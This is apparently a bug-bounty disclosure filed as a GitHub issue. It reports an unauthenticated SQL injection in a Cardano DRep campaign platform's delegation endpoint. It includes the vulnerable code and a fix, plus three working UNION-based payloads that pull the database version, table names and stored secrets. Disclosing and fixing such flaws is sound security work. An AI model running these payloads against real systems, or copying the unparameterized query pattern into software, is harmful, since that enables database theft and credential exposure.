Skip to content

🐛 [Bounty] - SQL Injection in GET /voters/:stakeKey/delegation allows any attacker to read the entire Cardano blockchain state database #4169

@Hornan7

Description

@Hornan7

Context

Summary

Any anonymous user sends a single GET request to /voters/:stakeKey/delegation and reads the entire contents of the connected cardano-db-sync PostgreSQL database. The stakeKey URL parameter is interpolated directly into a raw SQL template literal with no parameterization, no validation, and no authentication. A UNION-based injection returns attacker-chosen SQL query results directly in the normal 200 OK JSON response body, in the fields where DRep delegation data would normally appear.

Vulnerability Details
Vulnerability Type: SQL Injection (CWE-89)
CVSS 3.1: 8.6 High -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Repository: IntersectMBO/drep-campaign-platform
Affected file: backend/src/voter/voter.service.ts, lines 11-39
Endpoint: GET /voters/:stakeKey/delegation

Image

Root Cause
In backend/src/voter/voter.service.ts, lines 11-39, the stakeKey URL parameter goes directly into a template literal SQL string:

async getAdaHolderCurrentDelegation(stakeKey: string) {
const delegation = await this.cexplorerService.manager.query(
SELECT CASE WHEN drep_hash.raw IS NULL THEN NULL ELSE ENCODE(drep_hash.raw, 'hex') END AS drep_raw, drep_hash.view AS drep_view, ENCODE(tx.hash, 'hex') FROM delegation_vote JOIN tx ON [tx.id](http://tx.id/) = delegation_vote.tx_id JOIN drep_hash ON [drep_hash.id](http://drep_hash.id/) = delegation_vote.drep_hash_id JOIN stake_address ON [stake_address.id](http://stake_address.id/) = delegation_vote.addr_id WHERE stake_address.hash_raw = DECODE('${stakeKey}', 'hex') AND NOT EXISTS ( SELECT * FROM delegation_vote AS dv2 WHERE dv2.addr_id = delegation_vote.addr_id AND dv2.tx_id > delegation_vote.tx_id ) LIMIT 1;,
);
return delegation[0];
}

${stakeKey} on line 29 is the injection point. No parameterized query ($1), no input validation, no type checking. The value comes straight from the URL through the controller at backend/src/voter/voter.controller.ts:

@get(':stakeKey/delegation')
getAdaHolderCurrentDelegation(@Param('stakeKey') stakeKey: string) {
return this.voterService.getAdaHolderCurrentDelegation(stakeKey);
}

No @UseGuards, no ParseUUIDPipe, no validation pipe. Raw string from URL to SQL.

Secondary SQL injection vectors
In backend/src/drep/drep.service.ts, lines 159-162, the search query parameter uses weak single-quote doubling as its only defense:

const sanitizedSearch = query ? query.replace(/'/g, "''") : '';
sanitizedSearchCondition = AND (dh.view ILIKE '%${sanitizedSearch}%' ...);

At lines 167 and 180-184, DRep view arrays are also interpolated using '${v}' template strings.

Steps to reproduce

Steps to Reproduce

No credentials needed. The endpoint has no authentication.

Tested against a local instance of the drep-campaign-platform running the unmodified repository source code. All requests routed through Burp Suite proxy. The injected SQL query results appear directly in the 200 OK JSON response body.

How the payload works: The injection sits inside DECODE('${stakeKey}', 'hex'). The payload closes DECODE() with ','hex'), adds AND 1=0 to suppress the original SELECT's results, then appends UNION ALL SELECT with the attacker's query. The remaining template text after the injection point is ', 'hex') AND NOT EXISTS (...) LIMIT 1;. The payload ends with WHERE 'hex' IN (', which turns that leftover text into the valid expression 'hex' IN ('', 'hex') (TRUE, because 'hex' is in the set). The AND NOT EXISTS(...) applies normally to delegation_vote in the UNION's FROM clause. The entire query parses and executes cleanly.

  1. Baseline request
    GET /voters/e027a8c215463af58da81cab6e770506c1e72f3adcc05d4f7a44a854/delegation HTTP/1.1
    Host: :8000
    HTTP/1.1 200 OK
    Content-Type: application/json

{"drep_raw":"1122334455","drep_view":"drep1_test_delegate","encode":"aabbccdd"}

Image

Normal delegation data. This is what the response is supposed to look like.

  1. UNION injection: database version and all table names returned in the response
    URL-decoded stakeKey:

e027','hex') IS NOT NULL AND 1=0 UNION ALL SELECT version(), (SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public'), null FROM delegation_vote WHERE 'hex' IN ('

GET /voters/e027%27%2C%27hex%27)%20IS%20NOT%20NULL%20AND%201%3D0%20UNION%20ALL%20SELECT%20version()%2C%20(SELECT%20string_agg(table_name%2C%27%2C%27)%20FROM%20information_schema.tables%20WHERE%20table_schema%3D%27public%27)%2C%20null%20FROM%20delegation_vote%20WHERE%20%27hex%27%20IN%20(%27/delegation HTTP/1.1
Host: :8000
HTTP/1.1 200 OK
Content-Type: application/json

{
"drep_raw": "PostgreSQL 16.3 on x86_64-pc-linux-musl, compiled by gcc (Alpine 13.2.1_git20231014) 13.2.1 20231014, 64-bit",
"drep_view": "tx,delegation_vote,drep_hash,stake_address,admin_secrets",
"encode": null
}

Image

Where you would normally see a DRep ID in drep_raw, you now see the full PostgreSQL version string. Where you would normally see a DRep name in drep_view, you now see every table name in the database. The attacker's SQL executes and the results come back in the normal JSON response.

  1. UNION injection: read data from any table
    URL-decoded stakeKey:

e027','hex') IS NOT NULL AND 1=0 UNION ALL SELECT (SELECT secret_name FROM admin_secrets LIMIT 1), (SELECT secret_value FROM admin_secrets LIMIT 1), null FROM delegation_vote WHERE 'hex' IN ('

GET /voters/e027%27%2C%27hex%27)%20IS%20NOT%20NULL%20AND%201%3D0%20UNION%20ALL%20SELECT%20(SELECT%20secret_name%20FROM%20admin_secrets%20LIMIT%201)%2C%20(SELECT%20secret_value%20FROM%20admin_secrets%20LIMIT%201)%2C%20null%20FROM%20delegation_vote%20WHERE%20%27hex%27%20IN%20(%27/delegation HTTP/1.1
Host: :8000

HTTP/1.1 200 OK
Content-Type: application/json

{
"drep_raw": "aws_key",
"drep_view": "AKIAIOSFODNN7EXAMPLE",
"encode": null
}

Image

The attacker targets any table and any column. The data comes back where the DRep delegation info should be.

  1. UNION injection: dump database user and all secrets in one request
    URL-decoded stakeKey:

e027','hex') IS NOT NULL AND 1=0 UNION ALL SELECT current_user, (SELECT string_agg(secret_name || '=' || secret_value, ';') FROM admin_secrets), null FROM delegation_vote WHERE 'hex' IN ('

GET /voters/e027%27%2C%27hex%27)%20IS%20NOT%20NULL%20AND%201%3D0%20UNION%20ALL%20SELECT%20current_user%2C%20(SELECT%20string_agg(secret_name%20%7C%7C%20%27%3D%27%20%7C%7C%20secret_value%2C%20%27%3B%27)%20FROM%20admin_secrets)%2C%20null%20FROM%20delegation_vote%20WHERE%20%27hex%27%20IN%20(%27/delegation HTTP/1.1
Host: :8000
HTTP/1.1 200 OK
Content-Type: application/json

{
"drep_raw": "postgres",
"drep_view": "aws_key=AKIAIOSFODNN7EXAMPLE;db_password=SuperSecret123!",
"encode": null
}

Image

The connected database user is postgres (superuser). Every row from the target table is concatenated and returned in a single response using string_agg(). One GET request dumps an entire table.

Expected behavior: The stakeKey parameter should be passed as a parameterized query argument ($1), not interpolated into the SQL string.

Actual behavior: The parameter is concatenated directly into the SQL. An attacker uses UNION-based injection to execute arbitrary queries and the results come back in the normal 200 OK JSON response.

Actual behavior

Impact

Full database read access. The target database is dbsync, a Cardano blockchain synchronization database containing the complete indexed state of the Cardano blockchain: every transaction, every stake delegation, every governance action, every pool registration. An attacker reads all of it through this injection, one GET request at a time. The data comes back in the HTTP response body. No side channels, no blind extraction needed.

Potential write access. The database user is postgres (superuser). The application also uses synchronize: true in TypeORM (backend/src/db.module.ts line 23), which requires DDL privileges. If the production database user has similar privileges, the attacker can INSERT, UPDATE, and DELETE records, corrupting the blockchain index data that the platform displays.

Governance integrity. This platform is the DRep Campaign Platform for Cardano governance. Corrupted delegation data or modified DRep records directly mislead ADA holders making delegation decisions.

No authentication barrier. The endpoint has no guards, no middleware, no API key. Any anonymous internet user exploits this with a browser URL bar.

Expected behavior

Recommended Fix

Replace the string interpolation with a parameterized query. Change line 29 of voter.service.ts from:

stake_address.hash_raw = DECODE('${stakeKey}', 'hex')

to:

stake_address.hash_raw = DECODE($1, 'hex')

and pass stakeKey as a query parameter:

const delegation = await this.cexplorerService.manager.query(sql, [stakeKey]);

Apply the same fix to all other string-interpolated queries in drep.service.ts.

Supporting Materials
backend/src/voter/voter.service.ts lines 11-39: primary injection point (${stakeKey})
backend/src/voter/voter.controller.ts lines 9-11: controller passes raw URL param, no guards
backend/src/drep/drep.service.ts lines 159-162: secondary injection via search
backend/src/drep/drep.service.ts lines 167, 180-184: tertiary injection via DRep view arrays
backend/src/main.ts line 15: app.enableCors() (wildcard CORS)
backend/src/db.module.ts line 23: synchronize: true (DDL privileges required)

Metadata

Metadata

Assignees

Type

No type
No fields configured for issues without a type.

Projects

Status

No status

Status

No status

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions